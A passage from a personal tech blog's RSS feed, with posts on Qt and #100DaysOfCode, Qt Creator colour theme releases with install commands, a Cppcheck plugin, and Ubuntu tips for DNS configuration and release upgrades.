<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588492320612/O8ElJ-Fdc.png" alt="DeepinScreenshot_select-area_20200503002053.png"></li>
<li>Click on the status in <strong>red</strong> 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588492462235/BoONrUpA1.png" alt="DeepinScreenshot_select-area_20200503002115.png"></li>
<li>Now you can <strong>review</strong> and set the final score for each quiz
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588492371138/NsuDdRSTV.png" alt="DeepinScreenshot_select-area_20200503002415.png"></li>
<li>Now you can <strong>approve</strong> and post the final score
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588492593773/vT9XY35wC.png" alt="DeepinScreenshot_select-area_20200503002650.png"></li>
</ol>
<hr>
<h3 id="video-tutorials-from-youtube-">Video Tutorials From Youtube:</h3>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://www.youtube.com/watch?v=BOoTBzHM4fQ" data-card-controls="0" data-card-theme="light">https://www.youtube.com/watch?v=BOoTBzHM4fQ</a></div>
<hr>
<ul>
<li>MS Forms  <a target='_blank' rel='noopener noreferrer'  href="https://support.office.com/en-us/article/create-a-form-with-microsoft-forms-4ffb64cc-7d5d-402f-b82e-b1d49418fd9d">Support</a> .</li>
</ul>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[#Day1: Qt is the chosen one!]]></title><description><![CDATA[Today I will start my journey with #100daysofcode challenge with Qt!

Yes, I Am already in Qt but I will use this opportunity to refresh and learn more and document my journey to help others to learn Qt plus I will use it to improve my English writin...]]></description><link>https://www.foxoman.net/day1-qt-is-the-chosen-one</link><guid isPermaLink="true">https://www.foxoman.net/day1-qt-is-the-chosen-one</guid><category><![CDATA[Qt]]></category><category><![CDATA[100DaysOfCode]]></category><category><![CDATA[Startups]]></category><category><![CDATA[coding]]></category><category><![CDATA[programming languages]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Fri, 17 Apr 2020 17:21:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1587126319223/Mc4Guc8Yn.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Today I will start my journey with <strong>#100daysofcode</strong> challenge with <a target='_blank' rel='noopener noreferrer'  href="https://www.qt.io">Qt</a>!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587143366399/OB23Xsmlf.jpeg" alt="marvin-meyer-SYTO3xs06fU-unsplash.jpg"></p>
<p>Yes, I Am already in Qt but I will use this opportunity to refresh and learn more and document my journey to help others to learn Qt plus I will use it to improve my English writing!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587144024290/JLOC_5ILX.jpeg" alt="passionfit.jpg"></p>
<p>If you are new to learn programming languages, of course, you will find hundreds of recommended programming languages / Frameworks and tools to start with. My Advice just avoids all the programming languages holy wars and starts to choose the language which fits for your work/passion/interest and whatever gonna help you complete the required job!</p>
<p>No One should force you to choose but you can get to know why people using such a tool or language you may have the same reasons or goals.</p>
<p><strong>So let us start why I have chosen Qt!</strong></p>
<h2 id="why-qt-">Why Qt?</h2>
<p>First of all, I did not study IT/Programming or computer science in general, I just started programming as a hobby to solve my issues and automate my Linux setup. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587143759450/643PQ-eit.jpeg" alt="thinkoutofbox.jpg"></p>
<p>When I started using Linux the first time in 2006 started with <a target='_blank' rel='noopener noreferrer'  href="https://ubuntu.com">ubnutu</a>, I could not find any Video Converter to convert my <a target='_blank' rel='noopener noreferrer'  href="http://www.real.com">Real Media Videos</a> from Windows to Linux, while of course <a target='_blank' rel='noopener noreferrer'  href="https://www.ffmpeg.org">ffmpeg</a> was there to help but in the terminal. So I started working on building a GUI Application for FFMPEG called <a target='_blank' rel='noopener noreferrer'  href="https://code.google.com/archive/p/foxoman/wikis/DivXConverter.wiki">divx converter</a> using <a target='_blank' rel='noopener noreferrer'  href="https://www.python.org">python</a> which was my first programming language to start with.</p>
<p>Later I shift to use <a target='_blank' rel='noopener noreferrer'  href="https://www.linuxmint.com">Linux Mint</a>, And one of the things I created was the <a target='_blank' rel='noopener noreferrer'  href="https://code.google.com/archive/p/foxoman/wikis/APTSourcesManager.wiki">APTSourcesManager</a> using also python.</p>
<p>But later while using Linux at that time <a target='_blank' rel='noopener noreferrer'  href="https://en.wikipedia.org/wiki/RPM_Package_Manager">rpm</a> package was the most used package manager for a lot of commercial packages so I made a <a target='_blank' rel='noopener noreferrer'  href="http://code.google.com/p/foxoman/wiki/PackageConverter">Package Converter</a> to convert rpm to <a target='_blank' rel='noopener noreferrer'  href="https://wiki.debian.org/deb">debain Package</a> used in ubuntu and Linux mint, I used a new framework called <a target='_blank' rel='noopener noreferrer'  href="https://en.wikipedia.org/wiki/Xojo">Real Basic</a> which was Free in Linux at that time and I got the benefits of full Framework tools to use. And I have developed a few <a target='_blank' rel='noopener noreferrer'  href="https://code.google.com/archive/p/foxoman/">other Applications</a> with both Python and real-basic.</p>
<p>Later Real Basic changed the brand and not free anymore and python as it&#39;s too easy I just got tired to set the full development environment and choose the IDE and other tools, that&#39;s where I start looking for something new.</p>
<h3 id="what-do-i-need-in-my-new-programming-language-framework-">What do I need in my new Programming Language / Framework?</h3>
<ul>
<li>Full Framework has all the basic tools and modules like the IDE.</li>
<li>Multi-Platform Support and that time mean the three desktop OS. ie: Linux, Windows and Mac OS.</li>
<li>Low Level where I can go deep and help me to get to system tools and functions when needed.</li>
<li>Free / Open Source where I do not have to fall to the same issue I had with REALbasic.</li>
<li>Famous and widely used and good documentation.</li>
<li>GUI and console application support.</li>
</ul>
<p><strong>And here  I found Qt and start to learn it and use it as my primary DEV Framework Why?</strong></p>
<ul>
<li>Qt is a full framework for GUI / Network / Database / Graphics and so on.</li>
<li>Qt is a multi-platform where it supports all Desktop OS&#39;s and Embedded and Mobile and soon the web!</li>
<li>Qt is the C++ framework and adds more macros and modules which make C++ easy and enjoyable and that&#39;s what I will explain tomorrow.</li>
<li>Qt is Free / Open Source and Protected by <a target='_blank' rel='noopener noreferrer'  href="https://wiki.qt.io/Qt_Project_Open_Governance">Open Governance</a> and is being used by KDE and a lot of open source applications.</li>
<li>Qt is <a target='_blank' rel='noopener noreferrer'  href="https://en.wikipedia.org/wiki/Category:Software_that_uses_Qt">Widely used by Many Big Companies</a> and It has the best documentation and many <a target='_blank' rel='noopener noreferrer'  href="https://wiki.qt.io/Books">books</a>.</li>
<li>Qt Support Console Apps and GUI Apps using two Great Toolkits for Desktops and Mobiles!</li>
</ul>
<p><strong><em>To understand the full history of Qt and what is the difference between it and C++ and how it developed please read those resources:</em></strong></p>
<ul>
<li><p>https://rtime.felk.cvut.cz/osp/prednasky/gui/the-qt-story/</p>
</li>
<li><p>https://en.wikipedia.org/wiki/Qt_(software)</p>
</li>
<li><p>https://www.kdab.com/qt-range-based-for-loops-and-structured-bindings/</p>
</li>
</ul>
<p>We will be talking about those in detail in the coming days.
And by tomorrow I will start sharing my journey with Qt.</p>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[Riva QtCreator Syntax color Theme]]></title><description><![CDATA[It's my pleasure to announce the availability of the new theme I made as a little change to the default QtCreator Syntax color theme.
I Called it  Riva  based on the font I use to code when using this theme.

Screenshots
QML

Qt C++

Install
Download...]]></description><link>https://www.foxoman.net/riva-qtcreator-syntax-color-theme</link><guid isPermaLink="true">https://www.foxoman.net/riva-qtcreator-syntax-color-theme</guid><category><![CDATA[Qt]]></category><category><![CDATA[theme]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Sun, 05 Apr 2020 05:26:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1586064470498/X6Qh-kHop.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>It&#39;s my pleasure to announce the availability of the new theme I made as a little change to the default QtCreator Syntax color theme.</p>
<p>I Called it  <a target='_blank' rel='noopener noreferrer'  href="https://github.com/foxoman/fontsmono">Riva </a> based on the font I use to code when using this theme.</p>
<hr>
<h1 id="screenshots">Screenshots</h1>
<h3 id="qml">QML</h3>
<p><img src="https://github.com/foxoman/riva/blob/master/RivaQml.png?raw=true" alt="QML"></p>
<h3 id="qt-c-">Qt C++</h3>
<p><img src="https://github.com/foxoman/riva/blob/master/Rivacpp.png?raw=true" alt="Qt"></p>
<h1 id="install">Install</h1>
<p><strong>Download From GitHub:</strong></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://hashnode.com/util/redirect?url=https://github.com/foxoman/riva" data-card-controls="0" data-card-theme="light">https://hashnode.com/util/redirect?url=https://github.com/foxoman/riva</a></div>
<h2 id="windows">Windows</h2>
<p><code>xcopy riva.xml %APPDATA%\QtProject\qtcreator\styles</code></p>
<h2 id="macos">MacOS</h2>
<p><code>cp riva.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h2 id="linux">Linux</h2>
<p><code>cp riva.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[QCivic a Qt Creator syntax theme inspired by Xcode 8 Civic theme. [v2 Update]]]></title><description><![CDATA[Happy Xmas to everyone, I proud to announce the release of the new QtCreator syntax theme inspired by the new Xcode 8 Civic theme.
QCivic - Qt Creator Dark syntax theme inspired by Xcode 8's Civic theme.
https://github.com/foxoman/qcivic
Install
Dark...]]></description><link>https://www.foxoman.net/qcivic-a-qt-creator-syntax-theme-inspired-by-xcode-8-civic-theme</link><guid isPermaLink="true">https://www.foxoman.net/qcivic-a-qt-creator-syntax-theme-inspired-by-xcode-8-civic-theme</guid><category><![CDATA[Qt]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Sun, 16 Feb 2020 18:07:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1581876408038/gHwlFH-KY.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Happy Xmas to everyone, I proud to announce the release of the new QtCreator syntax theme inspired by the new Xcode 8 Civic theme.</p>
<h3 id="qcivic-qt-creator-dark-syntax-theme-inspired-by-xcode-8-s-civic-theme-">QCivic - Qt Creator Dark syntax theme inspired by Xcode 8&#39;s Civic theme.</h3>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://github.com/foxoman/qcivic" data-card-controls="0" data-card-theme="light">https://github.com/foxoman/qcivic</a></div>
<h1 id="install">Install</h1>
<h1 id="dark-theme">Dark Theme</h1>
<h2 id="windows">Windows</h2>
<p><code>xcopy qcivic.xml %APPDATA%\QtProject\qtcreator\styles</code></p>
<h2 id="macos">MacOS</h2>
<p><code>cp qcivic.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h2 id="linux">Linux</h2>
<p><code>cp qcivic.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h1 id="light-theme">Light Theme</h1>
<h2 id="windows">Windows</h2>
<p><code>xcopy qcivic_light.xml %APPDATA%\QtProject\qtcreator\styles</code></p>
<h2 id="macos">MacOS</h2>
<p><code>cp qcivic_light.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h2 id="linux">Linux</h2>
<p><code>cp qcivic_light.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[BlueSky QtCreator Theme Update]]></title><description><![CDATA[I am Glade to announce the new updated version of my BlueSky theme for QtCreator.
The new update changes a few colors like the background color to be easy for my eyes and I have added a complete QtCreator Style.
BlueSky V3
Blue Sky QtCreator Theme in...]]></description><link>https://www.foxoman.net/bluesky-qtcreator-theme-update</link><guid isPermaLink="true">https://www.foxoman.net/bluesky-qtcreator-theme-update</guid><category><![CDATA[C++]]></category><category><![CDATA[Qt]]></category><category><![CDATA[theme]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Tue, 09 Jul 2019 15:58:05 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1562687857355/Sxs3MB6rp.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I am Glade to announce the new updated version of my BlueSky theme for QtCreator.
The new update changes a few colors like the background color to be easy for my eyes and I have added a complete QtCreator Style.</p>
<h1 id="bluesky-v3">BlueSky V3</h1>
<p>Blue Sky QtCreator Theme inspired by old School windows command shell editors</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://github.com/foxoman/bluesky" data-card-controls="0" data-card-theme="light">https://github.com/foxoman/bluesky</a></div>
<h1 id="screenshots">Screenshots</h1>
<h3 id="qml">QML</h3>
<p><img src="https://raw.githubusercontent.com/foxoman/bluesky/master/bluesky-qml.png" alt="QML"></p>
<h3 id="qt-c-">Qt C++</h3>
<p><img src="https://raw.githubusercontent.com/foxoman/bluesky/master/bluesky-cpp.png" alt="Qt"></p>
<h1 id="install">Install</h1>
<h2 id="windows">Windows</h2>
<p><code>xcopy bluesky.xml %APPDATA%\QtProject\qtcreator\styles</code></p>
<h2 id="macos">MacOS</h2>
<p><code>cp bluesky.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h2 id="linux">Linux</h2>
<p><code>cp bluesky.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h1 id="bluesky-qtcreator-theme">BlueSky QtCreator Theme</h1>
<p><img src="https://raw.githubusercontent.com/foxoman/bluesky/master/bluesky.png" alt="QtCreator"></p>
<h1 id="install">Install</h1>
<h2 id="windows">Windows</h2>
<p><code>xcopy bluesky.creatortheme %APPDATA%\QtProject\qtcreator\themes</code></p>
<h2 id="macos">MacOS</h2>
<p><code>cp bluesky.creatortheme ~/.config/QtProject/qtcreator/themes/</code></p>
<h2 id="linux">Linux</h2>
<p><code>cp bluesky.creatortheme ~/.config/QtProject/qtcreator/themes/</code></p>
<p><strong>Then Change the Them and Style in QtCreator Setting window.</strong></p>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[qDarkSky QtCreator Dark Theme]]></title><description><![CDATA[I am pleased to announce the release of the new QtCreator Editor Syntax color theme.
Download:
As usual, her is the GitHub page to download:
https://github.com/foxoman/qDarkSky
Install
Windows
xcopy qdarksky.xml %APPDATA%\QtProject\qtcreator\styles
M...]]></description><link>https://www.foxoman.net/qdarksky-qtcreator-dark-theme</link><guid isPermaLink="true">https://www.foxoman.net/qdarksky-qtcreator-dark-theme</guid><category><![CDATA[coding]]></category><category><![CDATA[Qt]]></category><category><![CDATA[theme]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Fri, 28 Jun 2019 04:39:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1561696780675/7N4iqrmQM.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I am pleased to announce the release of the new QtCreator Editor Syntax color theme.</p>
<h2 id="download-">Download:</h2>
<p>As usual, her is the GitHub page to download:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://github.com/foxoman/qDarkSky" data-card-controls="0" data-card-theme="light">https://github.com/foxoman/qDarkSky</a></div>
<h2 id="install">Install</h2>
<h3 id="windows">Windows</h3>
<p><code>xcopy qdarksky.xml %APPDATA%\QtProject\qtcreator\styles</code></p>
<h3 id="macos">MacOS</h3>
<p><code>cp qdarksky.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h3 id="linux">Linux</h3>
<p><code>cp qdarksky.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h2 id="other-themes-you-may-like-">Other Themes you may like:</h2>
<p><a target='_blank' rel='noopener noreferrer'  href="https://github.com/foxoman/qtmaterial" title="https://github.com/foxoman/qtmaterial">Qtmaterial - Qt Creator Syntax color theme inspired by Google Material</a><a target='_blank' rel='noopener noreferrer'  href="https://github.com/foxoman/qtmaterial"></a></p>
<p><a target='_blank' rel='noopener noreferrer'  href="https://github.com/foxoman/sublimematerial" title="https://github.com/foxoman/sublimematerial">Sublimematerial - QtCreator syntax color theme based on Sublime Editor Material Theme</a><a target='_blank' rel='noopener noreferrer'  href="https://github.com/foxoman/sublimematerial"></a></p>
<p><a target='_blank' rel='noopener noreferrer'  href="https://github.com/foxoman/qcivic" title="https://github.com/foxoman/qcivic">Qcivic - Qt Creator syntax theme inspired by Xcode 8&#39;s Civic theme</a><a target='_blank' rel='noopener noreferrer'  href="https://github.com/foxoman/qcivic"></a></p>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[Using Cppcheck static analyzer tool in Qt Creator IDE]]></title><description><![CDATA[Cppcheck is a static analysis tool for C/C++ code. Unlike C/C++ compilers and many other analysis tools, it does not detect syntax errors in the code. Cppcheck primarily detects the types of bugs that the compilers normally do not detect. The goal is...]]></description><link>https://www.foxoman.net/using-cppcheck-static-analyzer-tool-in-qt-creator-ide</link><guid isPermaLink="true">https://www.foxoman.net/using-cppcheck-static-analyzer-tool-in-qt-creator-ide</guid><category><![CDATA[C++]]></category><category><![CDATA[Qt]]></category><category><![CDATA[cpp]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Fri, 16 Sep 2016 20:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1588496358166/NIUe6ZdyO.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><a target='_blank' rel='noopener noreferrer'  href="http://cppcheck.sourceforge.net">Cppcheck</a> is a static analysis tool for C/C++ code. Unlike C/C++ compilers and many other analysis tools, it does not detect syntax errors in the code. Cppcheck primarily detects the types of bugs that the compilers normally do not detect. The goal is to detect only real errors in the code (i.e. have zero false positives).</p>
</blockquote>
<p>To understated more what a cppcheck as a static analyzer could help you for your project you could read <a target='_blank' rel='noopener noreferrer'  href="http://www.viva64.com/en/t/0083/">this article</a> from a commercial alternative website.</p>
<p><a target='_blank' rel='noopener noreferrer'  href="https://sourceforge.net/projects/qtc-cppcheck/">qtc-cppcheck</a> is a Qt-Creator Plug-in which allows you to use cppcheck inside Qt-Creator.</p>
<h1 id="features">Features</h1>
<ul>
<li>Automatically check active project after build</li>
<li>Automatically check active project’s files on save</li>
<li>Manually check any project’s file</li>
<li>Display found an error in task pan (with marks in the editor)</li>
<li>Most settings are configurable</li>
</ul>
<h1 id="screen-shots">Screen-shots</h1>
<p><img src="https://miro.medium.com/max/2000/1*p57DnmOt3ovK8wHJb45iUw.png" alt="&quot;Integrated CppCheck with QtCreator issue widget
&quot;">
<em>Integrated CppCheck with QtCreator issue widget</em></p>
<p><img src="https://miro.medium.com/max/2000/1*X2m_KtooBpHpAvA2rHWt1g.png" alt="&quot;Access from Tools QtCreator menu
&quot;">
<em>Access from Tools QtCreator menu</em></p>
<p><img src="https://miro.medium.com/max/1400/1*y24SAqbcitpwnIkoF4sHgw.png" alt="&quot;Tool Settings in Analyzer QtCreator settings window&quot;">
<em>Tool Settings in Analyzer QtCreator settings window</em></p>
<h1 id="download-">Download:</h1>
<p>Download the compiled plug-in for your system and the QtCreator App you have from <a target='_blank' rel='noopener noreferrer'  href="https://sourceforge.net/projects/qtc-cppcheck/">here</a>.</p>
<p>The source could be downloaded from <a target='_blank' rel='noopener noreferrer'  href="https://github.com/OneMoreGres/qtc-cppcheck">here</a>.</p>
<hr>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://medium.com/@foxoman/using-cppcheck-static-analyzer-tool-in-qt-creator-ide-72f7ddf7976d" data-card-controls="0" data-card-theme="light">https://medium.com/@foxoman/using-cppcheck-static-analyzer-tool-in-qt-creator-ide-72f7ddf7976d</a></div>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[[Ubuntu Tip] Change DNS settings in Ubuntu]]></title><description><![CDATA[You may need to change your DNS settings in Ubuntu for various reason like faster internet or streaming media or safe browsing.
Here is a simple working method you can use, using DNSmasq.
1- Install DNSmasq:
sudo apt-get install dnsmasq
2- Edit DNSma...]]></description><link>https://www.foxoman.net/change-dns-settings-in-ubuntu</link><guid isPermaLink="true">https://www.foxoman.net/change-dns-settings-in-ubuntu</guid><category><![CDATA[Ubuntu]]></category><category><![CDATA[dns]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Thu, 05 Nov 2015 20:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1588496834423/uoMHoMDkm.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>You may need to change your <a target='_blank' rel='noopener noreferrer'  href="https://en.wikipedia.org/wiki/Domain_Name_System">DNS</a> settings in Ubuntu for various reason like faster internet or streaming media or safe browsing.</p>
<p>Here is a simple working method you can use, using <a target='_blank' rel='noopener noreferrer'  href="https://packages.debian.org/sid/dnsmasq">DNSmasq</a>.</p>
<p><strong>1- Install DNSmasq:</strong></p>
<pre><code>sudo apt-<span class="hljs-keyword">get</span> install dnsmasq
</code></pre><p><strong>2- Edit DNSmasq Configure file:</strong></p>
<pre><code><span class="hljs-attribute">sudo</span> gedit /etc/dnsmasq.conf
</code></pre><p><strong>3- Add your preferred DNS at the end of the file:</strong></p>
<p><em>in this example I used Google DNS</em></p>
<pre><code><span class="hljs-attr">server</span>=<span class="hljs-number">8.8</span>.<span class="hljs-number">8.8</span>
<span class="hljs-attr">server</span>=<span class="hljs-number">8.8</span>.<span class="hljs-number">4.4</span>
</code></pre><p><strong>4- Add system hosts file to Network Manager DNSmasq Config:</strong></p>
<p><strong>5- Restart DNSmasq and Network Manager:</strong></p>
<pre><code><span class="hljs-attribute">sudo</span> service network-manager restart
</code></pre><h2 id="flush-the-dns-records">Flush the DNS Records</h2>
<p>Previous methods is enough, but you may need to flush the DNS records in the browser you are using if you had any network problem after changing the DNS.</p>
<p>Here how to flush the DNS in Chrome and Chrome based browser like Opera and Vivaldi.</p>
<p><strong>1- Open DNS Settings page in chrome:</strong></p>
<p><em>chrome://net-internals/#dns</em></p>
<p><strong>2- Clear Host Cache:</strong></p>
<p><img src="https://miro.medium.com/max/1338/1*KkpPuyFjRFtD0oceYQrafg.jpeg" alt=""></p>
<p><strong>3- Flush Socket Pools</strong></p>
<p><img src="https://miro.medium.com/max/1128/1*Xxa17KypZNgID09E54nudw.jpeg" alt=""></p>
<hr>
<h2 id="best-dns-servers">Best DNS servers</h2>
<p>Here three best DNS servers you may want to use.</p>
<p><strong>1- Google DNS:</strong> [ <a target='_blank' rel='noopener noreferrer'  href="https://developers.google.com/speed/public-dns/docs/using?hl=en">Support</a> ]</p>
<pre><code>8<span class="hljs-selector-class">.8</span><span class="hljs-selector-class">.8</span><span class="hljs-selector-class">.8</span>
8<span class="hljs-selector-class">.8</span><span class="hljs-selector-class">.4</span><span class="hljs-selector-class">.4</span>
</code></pre><p><strong>2- OpenDNS:</strong> [ <a target='_blank' rel='noopener noreferrer'  href="https://use.opendns.com">Support</a> ]</p>
<pre><code>208<span class="hljs-selector-class">.67</span><span class="hljs-selector-class">.222</span><span class="hljs-selector-class">.222</span>
208<span class="hljs-selector-class">.67</span><span class="hljs-selector-class">.220</span><span class="hljs-selector-class">.220</span>
</code></pre><p><strong>3- Tunlr:</strong> [ <a target='_blank' rel='noopener noreferrer'  href="http://support.tunlr.com/">Support</a> ]</p>
<pre><code>45<span class="hljs-selector-class">.33</span><span class="hljs-selector-class">.81</span><span class="hljs-selector-class">.76</span>
45<span class="hljs-selector-class">.33</span><span class="hljs-selector-class">.12</span><span class="hljs-selector-class">.13</span>
</code></pre><hr>
<h2 id="test-your-system-to-check-if-its-using-the-preferred-dns-">Test your system to check if its using the preferred DNS:</h2>
<p><strong><em>Ubuntu 15.04 and Above</em></strong></p>
<p>Apply this command in the terminal:</p>
<pre><code>nmcli dev <span class="hljs-keyword">show</span> | grep DNS | sed <span class="hljs-string">'s/\s\s*/\t/g'</span> | cut -<span class="hljs-keyword">f</span> <span class="hljs-number">2</span>&lt;/span&gt;
</code></pre><p><strong><em>Ubuntu 14.04</em></strong></p>
<ul>
<li>Install <a target='_blank' rel='noopener noreferrer'  href="http://linux.die.net/man/1/nm-tool">nm-tool</a>:</li>
</ul>
<pre><code>sudo apt-<span class="hljs-keyword">get</span> install nm-tool
</code></pre><ul>
<li>Then Apply this cmd:</li>
</ul>
<pre><code>nm-tool | <span class="hljs-keyword">grep</span> DNS
</code></pre><hr>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://medium.com/@foxoman/change-dns-settings-in-ubuntu-bcf535379dac" data-card-controls="0" data-card-theme="light">https://medium.com/@foxoman/change-dns-settings-in-ubuntu-bcf535379dac</a></div>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[[Ubuntu Tip] Upgrade Ubuntu to New Version]]></title><description><![CDATA[Today marks the release of new Ubuntu Release 15.10, which a lot of users would like to upgrade to the new version.
The upgrade process is so easy and forwarded you will be notified to upgrade after you update your current system. But in case you did...]]></description><link>https://www.foxoman.net/ubuntu-tip-upgrade-ubuntu-to-new-version</link><guid isPermaLink="true">https://www.foxoman.net/ubuntu-tip-upgrade-ubuntu-to-new-version</guid><category><![CDATA[Ubuntu]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Wed, 21 Oct 2015 20:00:00 GMT</pubDate><content:encoded><![CDATA[<p>Today marks the release of new Ubuntu Release 15.10, which a lot of users would like to upgrade to the new version.
The upgrade process is so easy and forwarded you will be notified to upgrade after you update your current system. But in case you did not notify or you want to upgrade to a development version, just apply these commands in a terminal.</p>
<p><strong><em>To upgrade to the next stable release:</em></strong></p>
<pre><code>sudo <span class="hljs-keyword">do</span>-<span class="hljs-keyword">release</span>-<span class="hljs-keyword">upgrade</span>
</code></pre><p><strong><em>To upgrade to the next development release:</em></strong></p>
<pre><code>sudo <span class="hljs-keyword">do</span>-<span class="hljs-keyword">release</span>-<span class="hljs-keyword">upgrade</span> -<span class="hljs-keyword">d</span>
</code></pre><p>And you are good to go, just press enter once the upgrade is ready and leave the system to upgrade :)</p>
<hr>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://medium.com/@foxoman/ubuntu-tip-upgrade-ubuntu-to-new-version-f1109aeb518a" data-card-controls="0" data-card-theme="light">https://medium.com/@foxoman/ubuntu-tip-upgrade-ubuntu-to-new-version-f1109aeb518a</a></div>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item></channel></rss>